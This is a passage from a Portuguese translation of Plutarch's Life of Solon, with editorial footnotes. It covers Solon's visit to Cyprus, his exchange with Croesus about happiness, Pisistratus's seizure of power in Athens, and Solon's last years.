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Esteve também
algum tempo conferenciando e estudando com Psenofis de Heliópolis e Sonquis de
Sais, os dois mais sábios presbíteros que então havia no Egito, dos quais tendo
ouvido a descrição da ilha Atlântica, assim como escreve Platão, ensaiou pô-la
em versos e publicá-la entre os Gregos.

(36)            Carlos
Alberto Nunes, em sua vers
ão da "Odisseia", editada por P. Petraccone, apresenta a seguinte
tradução direta do grego e no metro original: "Antes de a lua apagar-se e
de novo redonda ficar”. — N. do ed. bras.

(37)           
De
Eicada.

(38)    Canopo.

LV. Ao partir do Egito, passou em Chipre, onde
travou grande amizade comum dos príncipes
do país, chamado Filócipro, que era senhor de uma cidade não muito grande, que
Demofonte, filho de Teseu, fez construir outrora sobre o rio Clare, era situação
bem forte, mas em país áspero, magro e estéril. Eis porque Sólon advertiu-lhe
que seria melhor removê-la daquele lugar para uma bela e fértil planície
existente mais abaixo, e ali reedificá-la maior e mais aprazível do que era: o
que foi feito por sua persuasão; e esteve ele próprio presente, tendo toda a
superintendência da construção da cidade, a qual ajudou a dispor e ordenar
muito bem, tanto para o prazer como para a força e para a segurança, de
maneira que muita gente de alhures ali foi habitar. E
nisso vários outros senhores do
país seguiram o exemplo desse Filócipro, o qual, para honrar Sólon, deu à sua
cidade o nome de Solos, que antes se chamava Épi. O próprio Sólon, em suas
elegias, menciona essa fundação, dizendo, ao dirigir a palavra a Filócipro:

A ti e à tua sã posteridade
Dêem os deuses real autoridade
Por muito tempo em Solos; e também,
Deixada esta nobre ilha, para além
Com meu
barco ligeiro navegar,
Possa eu ir sem perigo sobre o mar,
Conduzido por Vênus
coroada:
Se esta cidade foi por mim formada,
Desejo só chegar, se o permitis,
Com segurança e glória ao meu país.

LVI. E, quanto à entrevista e ao parlamento entre ele e o rei Creso,
bem sei que há os que pretendem provar por colação dos tempos que seja uma
fábula meramente inventada (39); mas, quanto a mim, não quero assim rejeitar
nem condenar uma história tão renomeada, recebida e aprovada por tantos e tão
graves testemunhos, e que ademais é muito conveniente aos costumes e à natureza
de Sólon e
do
mesmo modo digna de sua sabedoria e de sua magnanimidade, ainda que não se relacione nem concorde de todo com
certas tábuas que se chamam Crênicas, onde se cotaram a ordem e a sequência dos
tempos, as quais infinitas pessoas ensaiaram corrigir até hoje e não souberam
jamais soldar nem acordar todas as contradições e repugnâncias que ali estão.
Sólon, pois, a instância e pedido de Creso, foi vê-lo na cidade de Sardes e,
tendo ali chegado, AC tudo nem mais nem menos do que se conta de um homem
nascido e nutrido em terra firme, que jamais tivesse visto o mar nem perto nem
longe, de tal modo que cada rio que encontrava ele cuidava que fosse o mar:
também Sólon, passando através do palácio de Creso e encontrando em seu caminho
vários dos senhores de sua corte vestidos muito SAN e trazendo após si grande
séquito de servidores e de satélites, cuidava sempre que cada um deles fosse o
rei, até que foi conduzido diante do próprio Creso, o qual tinha sobre si tudo
o que era possível ter de mais esquisito, mais singular e mais admirável no
mundo, tanto em pedrarias como em tecidos de rico colorido e obras de
ourivesaria, para se mostrar a Sólon no mais magnífico, mais soberbo e mais
suntuoso apuro. E, vendo que Sólon, ao chegar diante dele, não tinha mostrado
sinal nem continência de homem que se maravilhasse de ver toda aquela pompa,
nem dissera nenhuma palavra que se aproximasse do que ele esperava, mas antes
tinha dado b
astante a conhecer a pessoas de bom entendimento que
desprezava em si mesma toda essa tola vaidade e baixeza de coração, mandou que lhe abrissem todos os seus
tesouros, onde estavam o seu ouro e a sua prata, e que lhe mostrassem toda a
opulência e a magnificência de seu móveis, sem que ele tivesse deles nenhuma
necessidade, pois era suficiente vê-lo inteiramente só para perceber quais eram
sua natureza e seus costumes. E, após haver visto bem e revisto tudo, quando
outra vez foi reconduzido diante do rei Creso, este lhe perguntou se vira
jamais homem mais feliz do que ele: Sólon respondeu que sim e que era um
burguês de Atenas chamado Telo, o qual tinha sido homem de bem e deixara filhos
muito estimados e suficientes haveres, e que afinal tivera a dita de morrer
muito gloriosamente combatendo pela defesa de seu país.

(39)   Freret fez reflexões sobre essa história nas "Memórias da Academia das
Inscrições", tomo
V, pág. 176-.

LVII. Creso, tendo ouvido essa resposta, começou a estimá-lo homem de cérebro aventurado,
ou grosseiro e sem julgamento, por não medir a bati e felicidade deste mundo no
possuir muito ouro e dinheiro, e reputar a vida e a morte de um homem privado,
de pequena e baixa condição, mais feliz do que a opulência e o poderio de tão
grande rei; mas, não obstante, ainda lhe perguntou que outro homem ele tinha
visto mais feliz do que ele depois desse Telo. Sólon lhe respondeu que vira
Cléobis e Bíton, dois irmãos que haviam singularmente amado um ao outro e a sua
mãe, de sorte que num dia de festa so
lene,
em que ela devia ir ao templo de Juno na sua carreta puxada por bois, porque os
bois demorassem demais em vir, submeteram-se os dois voluntariamente ao jugo e
puxaram eles mesmos ao pescoço a
carreta de sua mãe, a qual teve por isso muito grande alegria e foi reputada
muito feliz por todo o povo, por haver tido tais filhos; depois, tendo
sacrificado à deusa e comido bem no festim do sacrifício, foram deitar-se, mas
não mais se levantaram no dia seguinte, antes foram encontrados mortos sem
terem sofrido mal nem dor, após terem recebido tanta glória e tanta honra.

LVIII. Creso, então, perdeu a paciência e lhe disse encolerizado: «E
como não me incluis assim em nenhum grau dos homens felizes?» Sólon, não
querendo lisonjeá-lo, nem também irritá-lo e enfurecê-lo mais, respondeu-lhe:
«Ó rei dos Lídios, os deuses nos deram a nós outros, Gregos, todas as coisas
médias e, do mesmo modo, entre outras, uma baixa e popular sabedoria, não real
nem magnífica, a qual, considerando como a vida humana está sujeita a infinitas
mutações, nos defende de confiarmos ou glorificarmos os bens deste mundo, nem
muito estimarmos a felicidade de um homem que está ainda em perigo de mutação e
cambiamento; pois o tempo traz todos os dias variadíssimos acidentes ao homem,
nos quais jamais pensara. Mas, quando os deuses continuaram a boa dita em uma
pessoa até ao fim de seus dias, então a reputamos bem-aventu
rada; mas julgar feliz aquele que ainda vive. visto
como está sempre em perigo
enquanto lhe dura a vida, isso nos parece de todo ser nem mais nem menos do que
adjudicar o prêmio da vitória, antes do tempo, a quem ainda combate e que não
está seguro de alcançá-la.»

LIX. Ditas essas palavras, Sólon regressou, tendo ofendido e não tornado
prudente nem emendado o rei Creso. Mas Esopo, aquele que compôs as fábulas,
estando então na cidade de Sardes, aonde fora mandado pelo rei, que lhe dava
muito boa hospedagem, desgostou-se de ver que o rei tivesse feito a Sólon tão
mau acolhimento e, assim, lhe disse à guisa de advertência. «Ó Sólon, ou de
todo é preciso não se aproximar dos príncipes, ou é preciso comprazê- los e
agradar-lhes.» «Mas, ao contrário, respondeu Sólon, ou é preciso não se
aproximar deles, ou é preciso dizer-lhes a verdade e bem aconselhá-los.» Assim,
na ocasião, fez Creso bem pouca conta de Sólon; mas, depois que ele perdeu a
batalha contra Ciro, que perdeu sua cidade e foi feito prisioneiro, e o
levantaram ligado e garroteado em cima de uma alta fogueira de lenha, para
queimá-lo à vista de todos os Persas e de seu próprio inimigo Ciro, ele pôs-se
a gritar tanto quanto pôde, em altas vozes, por três vezes: «Ó Sólon». Ciro
ficou assombrado com isso e mandou perguntar-lhe se era um deus ou um homem
aquele Sólon que ele reclamava assim unicamente no extremo da desgraça. Creso
nada lhe ocult
ou
e disse que «era um dos sábios da
Grécia, que eu mandei buscar há algum tempo, não para aprender qualquer coisa com
ele, de que tivesse necessidade, mas a fim de que fosse testemunha da
felicidade na qual eu então me encontrava, quando o visse, na perda da qual há
muito mais mal do que bem no gozo; pois eu conheço agora que todos os bens que
possuía então não passavam de palavras e opinião, as quais se me tornaram agora
realmente e de fato em graves dores e calamidades que não posso remediar: o que
considerando aquele sábio Grego, e prevendo de longe o que sofro agora pelas
coisas que fazia então, me advertiu que esperasse o fim de minha vida, e não
presumisse demais de mim, inflado de vanglória sobre a opinião de uma beatitude
tão mal fundada e tão pouco segura.» Tendo sido essas palavras relatadas a
Ciro, que era mais sábio do que Creso e que via o dizer de Sólon confirmado por
tão notável exemplo, não somente livrou Creso do perigo da morte, mas o honrou
depois sempre, enquanto ele viveu: assim, pois, teve Sólon a glória de haver
salvo a um desses reis a honra e a outro a vida, com sua sábia advertência.

LX. Mas, enquanto esteve ausente, houve grandes sedições entre os habitantes de Atenas, e eram
chefes: daqueles da planície, Licurgo; daqueles da marinha, Mégacles, filho de
Alcnéon; e daqueles da montanha, Pisístrato — com (40) os quais esta
vam juntos os artesãos que viviam de seus braços, que eram os mais
ásperos contra os ricos, de tal modo que ainda que a cidade guardasse as leis e
ordenanças de Sólon, não havia contudo aquele que não esperasse a mutação e não
desejasse ver as coisas em outro estado, esperando cada uma das partes que sua
condição melhorasse com a mudança e que ficasse acima de seus adversários.

(40)   Entre os quais estavam os artesãos. C.

LXI. Estando pois as coisas em tal perturbação, chegou Sólon a Atenas, onde todos lhe
prestaram honra e reverência; mas ele não mais dispunha de sua pessoa para
poder falar alto em público, nem para manejar negócios como no passado o
fizera, porque a velhice lho impedia; e, por isso, falou separadamente
aos chefes das partes, ensaiando ver se podia pô-las de acordo e
reconciliá-las. O que parecia querer Pisístrato entender mais do que nenhum dos
outros, pois estava cortês e tinha a palavra doce e amigável, mostrando-se
socorredor para com os pobres e moderado mesmo para com os inimigos; e,
se havia nele alguma boa qualidade que lhe desfalecesse, ele a contrafazia tão
bem que a acreditavam existir mais nele do que naqueles que verdadeira e
naturalmente a possuíam, como ser homem repousado, não empreendedor,
contentando-se com o seu sem aspirar mais além, odiando os que tentassem mudar
o estado presente da coisa pública e maquinassem quaisquer novidades. Pelos
quais fingimentos
e simulações
abusava do popular comum; mas Sólon descobriu-lhe incontinenti os costumes e a
natureza e foi o primeiro a perceber o fim a que ele tendia, mas, sem odiá-lo
ainda, tratava sempre de o conquistar e de o reconduzir à razão, dizendo
frequentemente a ele próprio e a outros que, se lhe pudessem tirar da fantasia
a ambição de querer ser o primeiro e se pudessem curá-lo dessa cupidez de
dominar, não se encontraria homem mais bem nascido para a virtude nem melhor
cidadão do que ele.

LXII. Ora, já então começava Téspis a apresentar suas tragédias; e
era coisa que agradava maravilhosamente ao povo pela novidade, não havendo
ainda numerosos poetas que as fizessem por emulação entre si, para
conquista de prêmio, como houve depois, E Sólon, sendo por natureza desejoso de
ouvir e de aprender, e procurando na velhice passar o tempo em todos os
divertimentos, na música, na camaradagem, mais do que nunca, foi um dia
ver Téspis, que também representava, como era costume antigo dos poetas; e,
terminada a peça chamou-o e perguntou-lhe se não tinha vergonha de mentir assim
na presença de tanta gente. Téspis respondeu-lhe que não havia mal em fazer e
dizer tais coisas, visto como não passavam de farsa. Então, Sólon, batendo com
firmeza no solo, com uma bengala que trazia na mão, disse-lhe: «Mas louvando e
aprovando tais divertimentos de mentir cientemente, não nos guar
daremos de que em breve iremos encontrá-los em nossos próprios contratos e negócios.»

LXIII. Pouco tempo depois, Pisístrato, tendo- se ferido ele próprio e
ensanguentado por todo o corpo, fêz-se levar dentro de uma carreta até à praça,
onde comoveu grandemente o poviléu, dando-lhe a entender que tinham sido seus
inimigos que o haviam surpreendido à traição e o tinham assim fantasiado tão
mal numa desavença que tivera com eles por causa do governo da coisa pública; e
vários havia que estavam muito indignados e gritavam que aquilo tinha sido mal
feito. E então Sólon se aproximou e lhe disse: «Ó filho de Hipócrates, tu
contrafazes e representas mal o personagem do Ulisses de Homero: pois tu te (41) chicoteaste a ti mesmo para enganar os teus concidadãos, ao passo
que ele se escalavrou para abusar dos inimigos.» Não obstante isso, a comuna
tumultuava sempre, prestes a tomar das armas por Pisístrato; e realizou-se uma
assembléia geral do conselho, na qual certo Aríston propôs se outorgassem a
Pisístrato cinquenta homens armados (42) de alavancas e de maças, para a guarda
de sua pessoa. Ao que Sólon, subindo à cátedra ou tribuna das arengas,
contradisse virtuosamente e apresentou ao povo várias razões semelhantes
àquelas que depois escreveu em versos, dizendo:

(41)            No
grego: feriste. C.

(42)           
O grego: cinquenta homens
armados de maças. C.

Cada um de vós em seus negócios ousa
Ser avisado assim como a raposa,
Mas em conjunto sois de entendimento
Bem grosseiro, sem ver o fingimento
Desse Homem em que não deveríeis crer
Sem nenhum dos seus atos conhecer. (43)

Mas, por fim, vendo que os pobres tumultuavam,
tomando o partido de Pisístrato,
e os ricos fugiam amedrontados aqui e acolá, retirou-se também, dizendo que
mostrara ter mais senso do que uns e mais coragem do que os outros: mais senso
do que aqueles que não viam o fim ao qual tendia Pisístrato, e mais coragem do
que aqueles que conheciam bem que ele aspirava a usurpar a tirania e, contudo,
não ousavam resistir-lhe. Assim, o povo autorizou a proposição de Aríston, no
tocante à outorga dos alabardeiros, sem limitar-lhes o número, antes obrigando-
o a tê-los ao redor de si e a reunir tantos quantos quisesse, até que ele se
apoderou da fortaleza do castelo. E então a cidade se viu bastante surpreendida
e aterrorizada, tendo fugido incontinenti Mégacles e todos os que eram da raça
dos Alcmeônidas.

LXIV. E Sólon,
que estava já muito velho e não tinha ninguém que o secundasse, dirigiu-se con
tudo ainda à
praça, onde falou aos cidadãos que encontrou, censurando-lhes a burrice e a
frouxidão de caráter e encorajando-os a não deixarem que se perdesse a sua
liberdade. Foi então que pronunciou estas palavras que depois foram recolhidas
e se tornaram famosas: «Antes, disse ele, era-vos mais fácil impedir que esta
tirania se formasse; mas agora, que ela está formada, ser-vos-á mais glorioso
aboli-la e exterminá-la.» Todavia, para todas essas belas razões, ele não achou
ninguém que lhe prestasse ouvido, tão espantados estavam. Eis porque se retirou
para casa, onde tomou suas armas e as pôs diante da porta no meio da rua,
dizendo: «Quanto a mim, fiz tudo o que me foi possível para socorrer e defender
as leis e a liberdade do meu país.» E desde então se manteve quieto, sem mais
intrometer-se no governo da coisa pública. Os amigos aconselharam-no a fugir,
mas ele nada quis fazer para isso e se conservou em casa compondo versos nos
quais censurava aos Atenienses suas faltas, dizendo:

Se muito no presente vós sofreis,
Contra os deuses por tal não
murmureis:
Vede o engano fatal que praticastes
Quando tropas vassalas entregastes
Aos que dominam vossos chefes vis
Para torná-los inda mais servis.

(43) Sem nenhum dos seus atos conhecer é o sentido de um verso pentâmetro que falta no texto e que Amyot acrescentou, ou segundo um manuscrito, ou segundo Clemente
de Ale
xandria, que cita esse verso,
Stromates- livr.
I, pág
328. C.

LXV. Por tais discursos,
admoestaram-no os amigos para que reparasse no que dizia, havendo perigo de que
o tirano, ouvirido-o assim falar, mandasse matá-lo; e lhe perguntavam em que confiava para falar tão
audaciosamente, ao que ele respondeu-lhes: «Em minha velhice». Todavia,
Pisístrato, após sobrepor-se à sua aliança, prestou-lhe tantas honras e deu-lhe
tão bom acolhimento, mandando indagar de sua opinião, que Sólon por fim
entrou no seu conselho e aprovou muitas coisas que ele fazia; pois o próprio
Pisístrato guardou inviolavelmente e fez que seus amigos guardassem as leis de
Sólon, de tal maneira que, sendo chamado à justiça perante a corte de Areópago,
por um homicídio quando já tirano, apresentou-se muito modestamente para
responder às acusações que lhe faziam e justificar-se; mas o acusador não
prosseguiu. E o próprio Pisístrato fez ainda novas ordenanças, como aquela
segundo a qual «quem fosse mutilado de algum membro na guerra e ficasse
incapaz, seria nutrido durante toda a vida a expensas da coisa pública». O
que antes já fora começado na pessoa de Tersipo, assim como escreve Heráclides,
por sugestão de Sólon, que o apresentou ao conselho; e depois Pisístrato,
seguindo essa proposição, fez para o futuro uma ordenança geral. O próprio
Teofrasto diz que foi Pisístrato, e não Sólon, quem instituiu a ação por
ociosidade, o
que foi causa de que o país da Ática se
tornasse mais frutuoso sendo mais bem laborado, e a cidade de Atenas ficou mais
pacífica.


LXVI. Mas Sólon, tendo começado a deitar por escrito em versos o
conto e a fábula da ilha Atlântica, que ele aprendera dos sábios da cidade de
Sais no Egito, e que convinha aos Atenienses, cansou-se e ficou em caminho, não
por negócio ou impedimento que tivesse, como diz Platão, mas somente por sua
velhice e porque a extensão da obra lhe causou medo. Pois, em suma, que tivesse
lazer bastante, aparece nos versos onde diz:

Aprendendo à medida que envelheço.

E em outra passagem, onde diz:

Dona Vénus agora me seduz
E de Baco a bebida me conduz,
Bem como os dons das Musas: aí temos
Os pontos de prazer por que
vivemos.

Depois, tendo Platão querido deduzir longamente e enriquecer esse tema
da fábula Atlântica, como querendo, por maneira de dizer, cultivar um campo
deixado sáfaro, que de algum modo lhe pertencia, por extrair e descender da
raça de Sólon, começou a construir ali um belo e soberbo pórtico, cercá-lo de
belas muralhas e pôr grandes pátios à entrada, tais como jamais outro tratado
nem fábula, ou invenção poética, teve tão magníficos; mas, porque começou
também tarde demais, acabou a vida antes da obra, deixando aos leitores tanto
mais desgosto de não terem o que sobre isso resta escrever
quanto mais dá prazer aos leitores o que se escreveu; pois, exatamente assim como na
cidade de Atenas o templo de Júpiter Olímpico foi o único que ficou imperfeito, também a sapiência de Platão, entre tão belos discursos que dele saíram,
não deixou imperfeito senão aquele único da fábula Atlântica.

LXVII. Sólon,
pois, viveu ainda muito tempo depois que Pisístrato usurpara a tirania, assim
como diz Heráclides do Ponto; todavia, Fânias de Éfeso escreve que ele não
viveu mais do que dois anos. Pois Pisístrato usurpou dominação tirânica no ano
em que Cômias foi preboste em Atenas; e Fânias escreve que Sólon morreu no ano
em que Hegéstra- to o foi, isto é, no ano próximo seguinte. E, quanto ao
dizerem alguns que as cinzas de seu corpo após a morte foram espalhadas por
toda a ilha de Salamina, parece isso ser coisa inventada, onde não há
verossimilhança; mas, não obstante, foi ela escrita por vários notáveis autores
e, entre outros, pelo filósofo Aristóteles.

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